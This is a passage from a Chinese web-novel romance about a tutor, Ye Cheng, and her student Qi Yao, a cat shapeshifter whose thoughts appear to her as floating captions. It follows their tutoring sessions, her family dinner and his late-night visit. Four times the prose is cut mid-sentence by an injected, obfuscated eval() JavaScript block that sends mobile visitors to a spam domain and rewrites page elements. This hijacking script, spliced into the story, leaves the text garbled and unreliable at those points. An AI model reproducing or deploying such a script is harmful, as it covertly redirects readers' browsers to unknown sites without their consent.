[这么困?老师不会跟我一样是网瘾少年吧!]
叶橙:“……”
她不是什么网瘾少年,她只是心累,偶尔会生出淡淡的惆怅,就那么一指甲盖吧。
叶橙平时会给自己做心理建设,但昨晚突然陷入了一种噩梦似的征兆,自从凌晨一点被洗漱间的动静惊醒后,任她怎么翻来覆去也睡不着觉。
说好的不内耗呢?
此时此刻也由不得她自己作主。
刚有点睡意,脑子突然冒出来前途,过会儿又倦怠时,她又会胡思乱想,现在的叶橙既没工作又没上岸,哪能不焦虑呢?
只希望能多攒点钱。
再给她一次机会,让她再拼搏一次……
猫就在身边,顺手的事哪有不rua的道理。
叶橙俯下身狠狠rua了把缅因猫的白色大围脖,真软真密,不愧是最大只的长毛猫咪。
祁曜顺从地任她摸,毛茸茸的猫尾巴圈住了叶橙的小腿肚,出溜往上滑,耳朵尖端的聪明毛也不停地刮蹭。
天啦噜!
叶橙欣喜若狂:“好黏人的小猫咪!”
“祁曜,原本以为你是只高冷喵,没想到你居然这么黏人呀!”
听到这话,男猫明显愣了一下,蠢蠢欲动的尾巴僵在半空,银灰色耳朵染上一抹薄粉,他控制住疯狂求贴贴的本能!
只有猫形的时候,他才会控制不住自己的身体,人形的他向来是清醒克制的。
祁曜在原地转了一圈,发现自己才到叶橙的膝盖。
额……
这是怎么一回事?
祁曜瞬间察觉出自己身体的异样:[我怎么变成猫了?]
叶橙也有同样的疑惑。
是啊,你怎么变成猫了?
祁曜低头,猫耳朵一耸一耸,那是他思考时的习惯性动作:[现在是早上九点半,按理七点钟就该恢复成人形……]
[貌似今天一觉醒来,我就一直都是猫。]
祁曜仔细想了想,他今天从床上坐起来没有立刻穿衣服,而是溜去翻书包,把语文试卷扒拉出来,现在那卷子还在他的猫窝里呢。
缅因猫的表情有些错愕,碧绿色眼睛没有了往时的光亮,他暂时无法面对这个现状。
[我不会一辈子都只能用猫形过活吧?]
[猫形也挺好的……]
[至少她会喜欢。]
祁曜的心声一字不漏地传进叶橙脑海里,什么情况?
祁曜是只缅因猫,她在补课的第二天就已经知道了,但他不是猫形和人形自由切换吗?
托时不时冒出的猫爪弹幕,她对他也有了简单的了解。
外表冷冰冰,实则心软傲娇。
是一只喜欢吃小熊软糖、喜欢小鱼干,偶尔会脑补几出大戏的小猫咪。
为什么会无法控制身体呢?
叶橙隐隐生出一种担忧,她似乎从来没有过问,那天在烤鱼店,祁曜也是毫无预兆地变成了猫。
沉默几秒后,祁曜缓缓踱步:[我该怎么和她说呢?]
[今天是猫咪祁曜上课。]
“喵呜喵呜~”
祁曜用牙齿叼住叶橙放在沙发上的书包,耳朵尖蹭蹭她的小腿,示意她往楼上走。
[二模成绩下来了,我考得很好。]
叶橙心里微微一动,她把书包从缅因猫的嘴里拽出来,丢回沙发上,抱起小猫咪往楼上走,“一会儿给我看看你的卷子呗。”
卷子?!
祁曜从叶橙的怀抱里跳下来,直奔他的灰色猫窝,用猫爪扒拉出一张皱巴巴的试卷。
119分,很不错的成绩,恰巧比上次多了二十分。
祁曜拿猫爪戳叶橙的手,示意她看:[我的奖励呢?]
粉色肉垫触及的瞬间,祁曜感觉自己的脸颊像是被火烤一样烫。
与此同时,头顶上的玫瑰粉猫爪变了颜色,火烧云一样的红色。
“当然是有奖励的,”叶橙从书包里翻出一大包小熊软糖,递过去。
她心里生出一种幸福感,这大概就是当老师的感觉吧,看着自己带出的学生提高成绩,最后目送他们考上好的大学。
[这个小熊软糖是手牵手的。]
祁曜将包装带翻过来,上面写着硕大的花体英文“LoveEdition”。
他用一种说不清道不明的表情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627894|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往叶橙身上瞟,有点欣喜,也有点震惊:[情人节限定版?]
在发现手牵手的小熊后,叶橙的脸颊迅速升温,她几乎是争分夺秒地把“LoveEdition”几个字遮盖住。
啊!该死!
大脑飞快旋转中,叶橙说出了一句未经大脑的话:“拿错了拿错了,这不是给你的礼物,这是要给别人的,下次再给你带?”
祁曜的猫形依旧具有震慑力,他的猫爪盖在了叶橙手上,两个人一起遮住“loveedition”那几个刺眼的标语。
他的心情很不好,超级不好……
[给谁的?]
什么给谁?我自己吃不行吗?孤家寡人不配过情人节?
[不会是给那个油腻男的吧?]
油腻男是谁?叶橙在脑海里睃巡了一圈,才记起祁曜说的是上次在空教室碰到的林翊。
[送给我了,那就是我的。]
好好好,是你的,全是你的。
叶橙把小熊软糖递回给祁曜,“这个礼物不太好,下次我再给你补一个?”
[这个礼物哪里不好?这礼物好极了!]
确实!叶橙也十分认同,如果不是她拿错成情人节限定,这个牌子的软糖也挺好吃的。
她搓了把猫咪脑袋,看着祁曜的银灰色毛发,“我才发现你没穿衣服诶,下次送你件猫咪穿的小裙子吧。”
[谁没穿衣服?你才不穿衣服。]
[你看过哪只长了一身毛的猫穿衣服?]
[我才不要穿裙子!]
叶橙:“……”
她只是最近收藏了几个热门猫咪的视频,那些猫都打扮得漂漂亮亮,要是她也能拥有一只任她梳妆打扮的小猫咪就好了。
步入正题后,叶橙发现祁曜真的是进步很大,她正想夸夸几句时,扭头就对上直勾勾看她的碧绿色猫眼。
救大命!她真的受不了!
和人交流时还是平淡正常的,遇到毛茸茸的小生物就忍不住变成夹子音。
叶橙停顿了下,由于今天祁曜是猫形,所以他要是坐在桌子上就无法正常看试卷。
因此,现在的状况是,一只硕大的缅因猫趴在叶橙的手肘边,距离近到叶橙能数清祁曜有几根猫胡子。
距离近到祁曜能数清叶橙有几根眼睫毛。
他正目不转睛地盯着叶橙的嘴唇看,思绪飘到太空外:[好像小熊软糖,想吃一口……]
这还不简单?
叶橙拆开包装,拿出一颗蓝莓味与黑加仑味手牵手的小熊,喂进缅因猫嘴里。
离开的那一刻,祁曜布满倒刺的猫舌头舔了下叶橙的手指尖。
酥麻麻的,舌头像是被一串电流刺激到了,祁曜撇过脸,把头埋进厚密毛发里,不去看叶橙的表情。
反正他现在是小猫咪,可以装傻充愣。
叶橙确实没理会,平时她喂胖橘的时候,猫舌头也会舔到她的手,吃高兴了还会用圆润的大脑袋拱她胳膊。
她突然发现电脑落在楼下了,“你等下,我去拿个电脑。”
门合上,祁曜瞬间从猫变成了人,身体无衣物遮挡,白得发光。
顿了顿,他又将自己变回了猫。
祁曜心有余悸:[好险,差点就被看光了……]
11. 心机猫
刚推开门,叶橙就看见一道猫猫祟祟的影子。
躲猫猫?
叶橙实在搞不懂,祁曜拿窗帘裹住自己是为了什么,是小猫咪出于恶作剧的心理?还是想要和人类愉快地玩耍?
总不能是为了遮羞吧?
叶橙仔细想了想,做出评价:“你很冷?”
祁曜发出一道类似于哼唧的轻笑,她的脑回路是绕来绕去的猪大肠吗?
一只被厚密毛发覆盖的长毛猫咪,在20℃的天气会冷?
祁曜丝毫不提自己的行为在别人眼里有多奇怪?
他从窗帘里走出来,在叶橙四周来回晃荡,决定用闪耀的银灰色猫毛吸引老师的注意力。
最好,能一直看他。
不要看其他人,也不许摸其他猫。
几次尝试后,效果不是很明显,叶橙一直在认真批改他的语文试卷。
沉默片刻,祁曜突然用毛茸茸的耳朵蹭叶橙的小腿。
Q弹的,软的,温热的,像很好吃的草莓果冻。
可惜了,叶橙今天穿的是裙子,她用手把缅因猫的头拨弄开,生怕祁曜会看见自己的裙底。
“你头痒?”
叶橙目露不解,伸手替他抓挠解痒,白皙的手指穿梭在银灰色毛发里,尖尖的聪明毛一抖一抖,粉鼻头喷发出的气息也是灼热的。
冷不丁被刺激得缩回手,叶橙果然将目光挪到了缅因猫身上。
祁曜也适时开始了他的表演,用猫爪子摆弄叶橙裙沿上的小花:[老师,我好热啊。]
叶橙不解风情地抽回裙摆,免于遭受猫咪的毒手,她思考几秒后道:“你是不是该换毛了?”
缅因猫表情略显无语,用尾巴尖蹭了蹭叶橙的脚踝:[抛媚眼给瞎子看……]
隔着弹幕,她都能察觉祁曜心底的哀怨。
这么不高兴啊?
叶橙趁机弹了下猫朵朵。
猫朵朵疯狂抖动。
祁曜吓得弹跳起来,蹦得有一米高,在空中翻了个跟头,最终平稳落地。
那双碧绿色猫眼写满了难以置信:[老师,你又弄疼我了。]
啊。
实在不好意思哦。
叶橙搓了搓手指,指尖似乎还停留着那种毛茸茸的温热触感。
[不会被打红了吧?]
碧绿色猫眼水润润、湿漉漉的,像是被狠狠欺负过的样子。
没有,是粉的。
叶橙知道自己刚刚没使劲,只是轻轻地弹了下,但见到祁曜一副要哭的表情,她又有些怀疑了。
他是不是装的?
几乎是立刻,祁曜的心声回应了叶橙的猜想:[真好骗。]
缅因猫的动作很轻,快速踱步至叶橙的腿上,一副单纯无害的表情。
[我都做好准备了,怎么还不摸我?]
叶橙觑了他一眼,虚虚地交叠双手,这次没有要撸猫的举动。
欺负猫和欺负人是不一样的。
或许她不应该把祁曜当成一只简单的小猫咪来看待。
分寸感,是此时的她与祁曜都需要具备的东西。
-
五月三号补习结束后,叶橙对祁曜说:“我明天要回家,你有不会的题目直接在手机上和我联系就行。”
祁曜微微怔愣,眉心很轻地皱了下,随即舒展开,“老师,你大概几号能回来?”
叶橙正在整理电脑充电线,她头也不抬地说:“五号下午就回来。”
祁曜见她忙得没空搭理自己,也不恼,只是故作随意地问出自己想知道的事情:“老师,你家是哪里的?补习这么久了,还一直不知道你是哪里人?”
话落,他又补充了一句:“不方便说的话,可以不回答。”
叶橙抬眸,这没什么不方便说的。
她继续整理书包,眼角眉梢都带着喜悦,因为马上就可以回家了。
“我是本地人,家在郊区。”
祁曜笑了笑,将叶橙整理好的书包提到自己背上,“老师,我送你。”
叶橙踮起脚去够自己的书包,指尖快要碰上的刹那,祁曜却突然将背包举过自己的头顶。
他是存心的。
“祁曜,我家里人来接我,”叶橙冷静下来,抬眸与祁曜对视,“马上就要到时间了,你快把书包还给我。”
“不要。”男生歪着头看她,蜷曲起手指抵住唇瓣,掩面低笑。
“你先得答应我一个要求。”
屁孩。
叶橙在心底将祁曜骂了二百五十遍,朝强占她书包的男生伸手,“行行行,你快把书包还给我。”
“老师,我好想吃桃子。”
“听说你们那里的水蜜桃很有名。”
祁曜懒散地将背包递过去,手指不轻不重地摩擦了一下她的手背,甜甜地笑:“好不好,老师?”
几个桃子而已,这点愿望还是能满足的。
叶橙沉默站在原地,点点头:“我下次上课给你带过来。”
叶橙走后,祁曜径直去了浴室,哗啦啦的水流冲击着他鼓胀的胸肌,还有那难以启齿的欲望。
微湿的头发被自然风吹干,柔软的银色发丝与灰色床单融为一体,他双目幽深地凝视天花板。
猫咪在捕捉猎物时,眼睛总是紧缩的,保持一种高度紧绷的状态。
他的胃口被她养叼了……
上一次是小熊软糖,这一次是水蜜桃,下一次他可不可以再多奢求点儿东西。
-
叶橙已经坐上了回家的车,叶父拎起她的背包问:“你就带这么点东西回来?不搬书和行李吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627895|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我到时候邮寄回家,今天直接去学生家补课,不方便拉着行李箱。”
叶父的手握住方向盘,随意问道:“你那个学生上几年级?”
“高三了,”叶橙正在给叶舒雯女士回复信息,告诉她和爸爸正在往家里赶,“马上就要高考了。”
闻言,叶云锺的眉头皱成个疙瘩,下意识生出不好的感觉,“那比你小不了几岁。”
“嗯?”叶橙余光瞥到前排正在认真开车的父亲,说:“现在三岁就一个代沟,我比他大四岁,感觉就不是一个年龄段的人。”
她叹了口气说:“我沧桑了很多。”
前段时间,每次饭后在操场上校园跑,都能看到一些大一大二的社团活动,青春有活力。
自己已经是被社会就业毒打过的人了。
一副标准的牛马脸。
回到家后,叶舒雯做了一大桌丰盛的饭,叶橙放下书包,直接夹起一块糖醋排骨送进嘴里,含糊不清地说:“好吃好吃~”
“快去洗手。”叶舒雯拍了下乖女儿的肩膀,“又瘦了。”
“哪里瘦了,我胖了好多。”
叶橙耸耸肩,趿拉着拖鞋去洗手,手机就摆在餐桌上,弹出一条信息。
Q:[老师,假期快乐。]
Q:[猫猫探头.jpg]
Q:[不要忘了我的桃子。]
洗完手的叶橙刚坐下,就看到祁曜发来的几条信息。
好自恋的猫,这么喜欢用自己照片做表情包。
叶橙回了个:[猫猫无语.jpg]
叶舒雯夹起一块鸡翅,放进叶橙碗里说:“你二姨家的桃树结了果,送来了一筐桃子,过几天你带几个回学校。”
叶橙笑了笑,说:“好。”
紧接着又给Q发了条信息:[你的桃子有着落了!]
祁曜网速很快,瞬间回复:[?]
[猫猫疑惑.jpg]
叶橙:[不要给我发问号,你的桃子没有了——]
“笑得那么开心,在学校谈男朋友了?”叶女士的话直接打断了她的思路。
“现在的小男生都很会骗人,”叶舒雯撂下筷子,碰到碗碟上发出清脆的声响,不急不缓地说:“别被几句甜言蜜语就迷花了眼。”
“前段时间我做了个梦,没敢跟你说。”叶舒雯心有余悸地捂住胸口,“我这心里一直担心受怕的。”
叶橙倒了杯茶水递过去,说:“什么梦?”
叶女士超级爱做梦,自打她有记忆起,叶舒雯就经常梦见她被人贩子抓走。
最离谱的一次梦,是她被抓走,关进超市冰柜里。
叶舒雯喝了口茶水润润嗓子,憔悴地苦笑道:“我梦见你抱了个宝宝回来,说是你的孩子。我问你孩子爸爸是谁——”
12. 标致的牙
倏忽间,叶橙被鱼刺卡住了喉咙,剧烈地咳嗽,咳得脸通红,上气不接下气。
叶舒雯女士停止对梦境的回忆,轻轻拍了拍叶橙的后背,语重心长道:“不要被那些不三不四的小男生骗。”
良久,叶橙才缓过劲来。她感觉喉咙处隐隐发痛,哑着嗓子说:“这也太离谱了,这怎么可能呢?”
“放一百个心吧,您女儿她不喜欢年下弟弟类型的男孩子,她喜欢成熟款的温柔男人。”
叶橙总觉得弟弟类型的小男生幼稚,爱闹爱发脾气,还需要她去哄。
活脱脱一个熊孩子。
啧,想想就心累,好烦。
除了有堪比钻石的硬件设施,还有可以与比格犬相媲美的体力外,也没啥好的。
这种人究竟谁在喜欢?!
话题一转,叶舒雯女士又问:“你考公考编复习得咋样?要不别看网课了,在家附近报个线下班。”
握住筷子的手一顿,叶橙缓缓抬头,对上叶母有些怀疑审视的一双眼睛。
叶父也放下干饭的手,将视线挪到她身上,“是啊是啊,听你妈的,上网课也不知道效率咋样,去那种封闭式的教培机构,花钱还能买个安心。”
叶橙被父母审视打量的目光,弄得有些心虚。
她思考了会儿,点头如捣蒜,“学校不给假,近期既有德育论文答辩,还有毕业论文答辩,得一直在学校呆着。”
这是真的!她没骗人!
只是——她志不在考公考编,一心只想考研上岸,走她的学术科研路,好实现她的文学研究梦。
叶舒雯扫她一眼,适时说出心里话:“别老惦记考研的事情,去年已经给过你一次机会了。”
“再说了,文科专业考完研,最终还是要考公的。”
“还有你那个补习,家里也不缺你钱花,不知道为什么非得去,自己给自己找罪受,一点儿意义也没有。”
无意义本身就是意义。
叶橙不动声色地抬眸,在心里默默嘀咕:我当然得去赚钱,要是让你知道我在偷偷复习考研,你把我赶出去咋办!
露宿街头吗?
这种无力的酸楚感贯彻着叶橙的身心,她十分清楚文科的就业前景,不是去考教资当老师,就是考公考编。
但现在也不是汉皇法帝的黄金时期,统招名额都急剧缩减了。
那么——文科生的未来又在哪里呢?
她现在急需一颗火星子,来照亮这条不知所终的路。
文学是人学,它不应该被时代洪流所淹没。
汲汲于思考,汲汲于人生。
这才是叶橙真心想要的。
-
纷乱的思索顺着碗里的油渍与泡沫,一起流进下水道。
叶橙摘下粉色的橡胶手套,甩了甩手上残留的水珠,走出厨房。
叶父叶母正在客厅看电视,夫妻多年依旧恩爱。叶橙决定不去凑这个热闹,但她也不想一个人孤单地呆在房间里。
“爸妈,我出去一趟。”
“哦,早点回来。”
月色冰凉,夜色如水。
叶橙瘫坐在公园长椅上,正打算划开手机屏幕刷会儿短视频解闷时,余光瞥到微信软件里祁曜的信息轰炸。
起初还是以一种调侃的口吻。
隔着屏幕,叶橙都能迅速脑补出祁曜眼睫微抬,似笑非笑的恶劣模样。
[不要啊,老师。]
[不能因为我只发了个问号,就没收我的桃子哦!]
[开不起玩笑。]
[猫猫撇嘴.jpg]
……
[怎么不理我了?]
[老师,你在和家里人吃饭吗?]
……
两个小时后,祁曜的语气带着焦急。
[老师,看到记得回复我。]
[已取消电话]
……
[我很担心你。]
时间间隔已经过去了三个小时,从五点到八点,祁猫猫给她发了无数条信息。
说不感动是假的,叶橙没想到自己只是给祁曜上了一个月的课,他就这么关心自己。
她有一个好学生,蛮有幸福感的。
叶橙在聊天框输入:[我没事,不用担心。]
刚输入完,叶橙就接收到祁曜拨来的视频电话。
背景音略有些嘈杂,电话那头的男生不是在家里,目测是在私家车上。
“你在哪里?”
两个人同时问出声。
隔着屏幕,叶橙恍然生出一种错觉,那双碧绿色眼睛像是要把她吸进去,堕入漩涡中央。
良久,她听见了自己低落而缓滞的声音:“我在公园。”
同时,她又看见祁曜嘴唇微张,不知道说了什么,等再回过神来,就听见男生问:“你在哪个公园?”
叶橙双手枕在脑后,不理解猫猫的脑回路,淡定地回答:“我在春喜公园啊。”
她娇小的身影蜷缩在公园长椅上,与身后高大的树格格不入,可怜兮兮的,像只被雨淋湿的幼小奶猫。
此时此刻,急需他这只大猫去送温暖。
他毛茸茸的毛发最适合安慰人了。
祁曜的眼神晦涩难懂,他将左手虚握成拳抵在心口,感受着——那一次又一次的怦怦直跳。
也许是月色太美好了,在叶橙看不见的地方,祁曜偷偷截了张图。
将这个瞬间定格下来。
叶橙蜷曲起手指,敲了敲屏幕,像是隔空敲在他的脑壳上,“你在哪里?”
“我在去找你的路上。”
车窗外的风吹乱了额前的银色头发,几乎是下意识的,骨节分明的手指抵在了额头上,压出一道红痕。
“你找我?”
叶橙刚从长椅上站起来,又迅速坐下,不解地问:“你又不知道我家在哪里?找我干嘛?”
男生的表情落寞,“我以为你出了事。”
“像上次那样,被一个又蠢又坏的老男人欺负,那可怎么办?”
“你那么弱,跑也跑不快,只有乖乖挨打的份儿!”
祁曜扫描仪一样检查叶橙的身体,脸上没有青紫瘀伤,四肢也是健全的。他蓦地松了口气,“我可不想要一个残疾老师。”
叶橙:“……”
学生的心是好的,但这也太……不礼貌了。
叶橙表情有些无奈,像在哄小孩:“我只是有三个小时没有回复你微信。”
祁曜回答:“你每次很快就会回我信息。几乎不超过一个小时。”
“只有上一次,我去教室找你补习的那天,你超过了一小时没回复我,结果就被人堵了。”
“要不是我及时赶到,你肯定被打得满地找牙,亲妈都不认识你。”
叶橙回怼:“歪理。”
说着,祁曜忽然捂住眼睛,装作看不见她的样子:“老师,老师——你在哪里?”
等把手迅速撤下后,又目露震惊:“天呐,老师你怎么被打成这副样子,需不需要我找把轮椅推你去医院?”
叶橙嘴角抽搐:“你就不能盼我点好?老师残疾了,谁来给你上课?”
直到,她看见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627896|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
熟悉的公园铁门,还有开得秾丽的月季花:“等等——你在——?!”
话筒传出男生干净清冽的嗓音:“我已经到了。”
“再等几分钟,你就可以看到我了。”
“所以,请老师先不要偷偷走掉。”
祁曜的气息稍显凌乱,他像在进行剧烈的体育运动,话筒里呼啸的风声与他的声音一起传进叶橙的耳朵里。
“再等等小猫几分钟。”
叶橙怔立在原地,她只是告诉他家里是郊区的,他就漫无目的地来找她。
思绪回笼后,叶橙扯着嗓子讲话,生怕他听不见:“你不要过来,快点儿回家啊。”
话音刚落,祁曜就站在她面前,笑得纯真无辜,像株零添加零污染的绿色植物。
头顶上的猫爪冒出气泡:[我亲手来取我的桃子了。]
男生不解,疑惑,反问:“吓傻了?”
一连串丝滑的动作,将叶橙整得晕头转向。
“不是,你大老远跑过来,待会儿怎么回去?已经——”叶橙扫了眼手机:“已经九点多了?!”
祁曜无所谓地耸肩:“这没关系,我家司机送我来的。正好碰上晚高峰,车堵得要死,快两个小时才到。”
男生继续善解人意地说:“司机叔叔开了很久的车,也累了,我们待会儿找个酒店休息一晚,明天和老师一起回去。”
额……
叶橙刚想说点什么,祁曜就堵住了她的话,叽里呱啦讲了一堆,问她哪家酒店比较好?还旁敲侧击打听她有没有和别人住过酒店?
还说有些人好坏,他变成猫在街上走,经常被一些又老又丑的醉酒男人拳打脚踢。
把叶橙哄得一愣一愣的,这还是她认识的那只猫吗?
刚加上微信的时候,回她消息说不喜欢被人打扰,有事最好别找他的猫是谁啊?
不过,叶橙狐疑地扫视祁曜的脸,他怎么看也不像是乖乖挨打的样子。
“你真的被打过?”
“当然。”
“我可不想突然从猫变成人,当街裸奔,上新闻头条。”
“也不想被生物研究所抓去解剖。”
叶橙信了,目露担忧地说:“你以后别变成猫在街上走了,被人打是小事,被抓去解剖就坏了。”
下一秒,祁曜头顶上的猫爪开出一朵恶作剧得逞的的快乐小花:[假的。]
[老师也太好骗了吧,说什么她都信。]
叶橙:“……”
我信你个鬼,下次她再被骗,她就改名叫祁橙。
走在去酒店的路上,祁曜故作不经意地问:“说到底,你今天还是很不对劲。”
“发生了什么事情?可以告诉我吗?”
唉,也不是不能说。
就是和学生说这种话,怪不好意思的。
最终,叶橙选择脱口而出,毕竟祁曜因为怕她被打,特地跑老远来看望她。
“其实也没什么,就是我现在找不到工作。”
“我不就是你的工作吗?”
“你不算。”
叶橙有些哀愁地望老天奶,祁曜也跟着她一起抬眸看天。
“我爸妈想让我考公考编,但我自己想考研,现在也一直瞒着他们偷偷复习,要是哪一天被发现,估计会被扫地出门。”
男生不以为意:“这有什么?”
祁曜笑了笑,露出洁白的牙齿。
好标致的牙,超适合去拍牙膏广告。
然后,叶橙就看见那标致的牙齿缓缓说道:“我有很多房产,不会让老师露宿街头的。”
13. 偷袭
唉,富少的生活她不懂。
叶橙淡淡地扯了扯唇角,大脑开始不受控制地浮想联翩,把库存里的霸总小说翻了个底朝天。
若你的身份是管家,可以激动地整理领结,声带哽咽:“天呐,好久没有看见少爷这么笑过了。”
若你的身份是广告摄影师,可以立刻扛起镜头,照亮他三百六十度无死角的美:“好白的牙齿,我一定要把它记录下来。”
可叶橙的身份是老师,她既没有管家的世故圆滑,也没有摄影师的敏锐力,只能憋出一句:“那谢谢你。”
最好的服务业,最真挚的感谢。
祁曜瞅了她一眼,低低发出一道哼笑。
[那不客气了。]
她好困,想睡觉。
叶橙对着祁曜的脸打了个呵欠,希望能凭空长出张床,可以席地而睡,以天为被。
“困了?”
祁曜垂眸看她,头顶上的猫爪晃了晃:[能吃能睡,挺好的。]
叶橙:“……”
她不能吃能睡,难道要天天愁眉苦脸吗?
再说了,叶橙本身就是个很会哄自己的人,也是个很会哄别人的人。
一点小烦闷,洒洒水啦!
做人做猫,还是要开开心心的!
祁曜淡淡地说:“既然困了,那就先送你回去。”
他抻直了个胳膊,放松身体:“然后我再去找家酒店。”
“还有一件事——”祁曜眸光定定直视不太自然的叶橙,懒懒扯起一抹惬意的笑,“记得明天一起走,别偷偷跑了,我的好老师。”
此时此刻的叶橙表情犹疑,她隐隐有种被小男孩哄着走的感觉。
可明明她才是更成熟的那个。
晚上九点半,叶橙回到家。
“做贼去了?”叶云锺打量着乖女儿写满“我很心虚的脸”,问:“不是说出去散步吗?怎么这么久才回来?”
宕机几秒后,叶橙搓了把红彤彤的脸,开始满嘴跑火车:“哎呀,别提了。累死我了。”
“碰到我高中同学了,非要拉着我去打羽毛球。”
叶云锺淡淡地“哦”了一声,拿出筷子准备嗦粉。
叶橙直接把酸辣粉夺过来,大口大口地吃,边吃边嘟囔:“还是我妈做出来的辣椒酱味道正宗,就连做出来的酸辣粉也好吃。”
“喂!臭丫头!”叶云锺说:“饿了自己去煮,抢我的算什么本事?”
叶橙眨了下眼睛,把香菜夹到桌子上:“我就喜欢吃现成的。”
“别人碗里的就是比自己碗里的香。”
叶父叶母:“……”
叶橙端起吃了一半的粉,准备回到卧室接着吃。
灯光是偏暖色调的,书桌上整齐摆放着古今中外的文学名著,还有一大摞红的、黄的、橙灰色的考研资料。
过了会儿,叶舒雯女士端了叠洗好的草莓进来,问她明天几点回学校。
叶橙揪掉草莓叶子,寻思了会儿道:“五点吧,大概七点就能到学校。”
“还是让你爸爸送你?”
叶橙眼睛也不眨地说瞎话:“我和我同学约好了,到时候和他一起走。”
“那行,”叶舒雯余光瞥到书桌上的考研资料,“像这大雁带你记单词、核心考案、背诵手册,你都用不到了吧?哪天把这些挂二手平台上卖掉?”
“考研资料年年都会出新书,”叶橙缓缓地摇头说:“没人买旧的,压根儿卖不出去。”
等听到关门的声响,叶橙放松下来,继续嗦粉,嘴唇被辣油浸泡得红润肿胀。
这一夜,叶橙睡得很不安稳。
同样,凌晨两点了,祁曜也没睡着。
第二天,两个人顶着黑眼圈面面相觑。
祁曜坐在里侧,诧异地看着叶橙,撇撇嘴没讲话。
男生眉眼冷峻,手臂肌肉线条明显,面无表情时显得格外不好惹,容易让人生出畏惧感。
就比如第一次碰面时,叶橙也觉得对方是一个不好相处的人。
实则不然,祁曜是一只面上淡漠、内心火热的猫,头顶上的富士山猫爪跟开了个五倍速一样噼里啪啦。
一时让叶橙分不清哪一个才是真正的他。
[她老是盯我的嘴唇干嘛?]
那是因为你话太多了。
叶橙将视线转移到祁曜摆放在膝盖的手上,青紫色筋脉在冷白皮肤下微微跳动,骨节分明,性张力满满。
祁曜尴尬地摸了摸鼻子:[她一直盯我的手干嘛?难道是发现我剪了指甲?]
猫指甲!
有发生惨案吗?
叶橙来了兴趣,祁曜头顶上的猫爪指甲确实短了很多,也就是刚没过血线的距离。
[别再看我了,真是受不了!]
[就算爪子不锋利了,猫也不是可以随便让人欺负的。]
[上一个这么看我的,早就——]
小命不保了?
叶橙自动做好填空题,恢复至未开机的沉默状态,开始打量自己像极了小孩子的手。
祁曜的心声渐渐安静下来,他支起下颌,目不转睛地观察叶橙。
乖乖的。
真的很好骗,也实在好欺负。
他说什么都信,祁曜半眯起眼睛,头顶上的猫爪正在愉快地荡秋千,当荡到最高点时还会喵呜喵呜地叫。
要是彩色的就更好了。
祁曜眼波不移,支在下颌线的手渐渐挪到苹果肌上。
他早已习惯了单调的黑白灰,此时却有一种情绪悄然生长。
他渐渐好奇,渐渐不受控制,渐渐想知道她的嘴唇是什么颜色?
-
一路畅通无阻,只用了一个多小时,车子就到达了师大门口。
祁曜捏了把灰突突、毛扎扎的水蜜桃,和叶橙一起下了车。
“老师,你先别走。”
叶橙刹住脚步,扭头不解地问:“有事吗?”
祁曜的影子覆盖在叶橙影子身上,两道影子纠缠在一起。
男生笑得单纯,循循善诱地问:“我想请你吃饭,当作桃子的回礼。”
“不要吧。”
叶橙后退一步,娇小的影子远离了那道高大影子的庇护,她斩钉截铁地抬头,再次强调:“不用了。”
祁曜垂眸,视线落到他孤零零的影子上。
贴近裤子的手适时轻微地蜷缩了一下,再扬起头时又换了一副面孔:“我妈听说我语文成绩提高了很多,想见见老师。”
这是一个让人无法拒绝的回答。
要是祁曜本人还好说,牵扯到家长就复杂多了。
叶橙点点头,跟上祁曜的脚步,温声询问:“是在你家里吗?”
要是家里还好些,要是去一些正式的地方,她是否——需要回去换一套正装,显得成熟稳重一些。
余光瞥到自己的衣服,牛仔裤白卫衣……
她还是去换个衣服吧。
“没事的,”祁曜侧过头,发现了叶橙的紧张:“只是去吃个烧烤,就在你们学校附近。”
叶橙长舒一口气,放心下来。
刚到烧烤店,祁曜就把菜单递过来,叶橙又把菜单推回去,示意他点。
叶橙不太喜欢点东西,因为她觉得什么菜味道都差不多。
没有什么特别喜欢吃的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627897|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也没有什么特别讨厌的。
